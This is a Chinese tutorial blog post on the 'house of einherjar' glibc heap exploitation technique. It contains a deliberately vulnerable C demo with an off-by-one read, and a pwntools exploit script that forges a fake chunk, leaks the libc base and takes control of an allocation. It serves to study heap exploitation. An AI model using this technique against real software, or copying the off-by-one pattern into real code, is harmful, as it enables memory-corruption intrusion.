how2heap_house_of_einherjar

house of einherjar

1. 利用原理

  1. 两个物理相邻的 chunk 会共享 prev_size字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。

  2. 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的。

  3. 后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))

  4. 那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置。

2. 利用条件

  1. off by one(覆盖pre_inuse)
  2. 存在可以编辑的空间构造fakechunk

3. poc

/*************************************************************************
	> File Name: einherjar.c
	> Author: 
	> Mail: 
	> Created Time: Wed 26 May 2021 07:42:30 AM CST
 ************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
    char* s0 = malloc(0x200);
    char* s1 = malloc(0x18);
    char* s2 = malloc(0xf0);
    char* s3 = malloc(0x20); 
    printf("step 1: leak address where you want to edit.\n");
    printf("usually,the address contains gloable ptr,we can use this ptr to edit got table.\n");
    printf("Address of s0 :%p,where we can write fake chunk.\n", s0);
    printf("Edit fake chunk in s0\n");
    read(0, s0, 0x200);
    printf("Triger off by one in s1\n");
    read(0, s1, 0x19);
    printf("Now triger house of einherjar\n");
    free(s2);
    printf("After einherjar,we need to modify unstored bin's chunk head.\n");
    write(1,s0,0x200);

    printf("Now modify the fake chunk head.\n");
    read(0,s0,0x200);

    printf("Malloc chunk will at fake chunk,\n");
    char* d0 = malloc(0x68);
    printf("Now, we can edit fake chunk.\n");
    read(0,d0,0x70);
    read(0,d0,0x70);
    return 0;

}

4. exp

#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['terminal', '-x', 'sh', '-c']
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./einherjar')
p=process(elf.path)
local_libc_64  = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data) 
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr))
def debug():
    gdb.attach(p)
    pause()

#leak fake chunk address
ru('0x')
fake_addr = int(r(7),16)
leak("fake_addr",fake_addr)

#create fake chunk,avoid unlink check
#ATTENTION: the fd and bk's address is fake chunk's addr
payload = p64(0) + p64(0x221) + p64(fake_addr)*2
sa('s0\n',payload)

#triger off by one
#ATTENTION: tht presize is the offset between fake chunk and the chunk we will free
payload = 'a'*0x10 + p64(0x220) + '\x00'
sa('s1\n',payload)

#leak libc
main_area = uu64(ru('\x7f')[-6:]) - 88
libc_base = main_area  - 0x3c4b20
leak("libc_base",libc_base)

#modify the unstored bin's head
payload = p64(0) + p64(0x71) + p64(main_area+88)*2
s(payload)

# now we can change s0 by edit d0
payload = 'write s0 by edit d0'
s(payload)
debug()
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值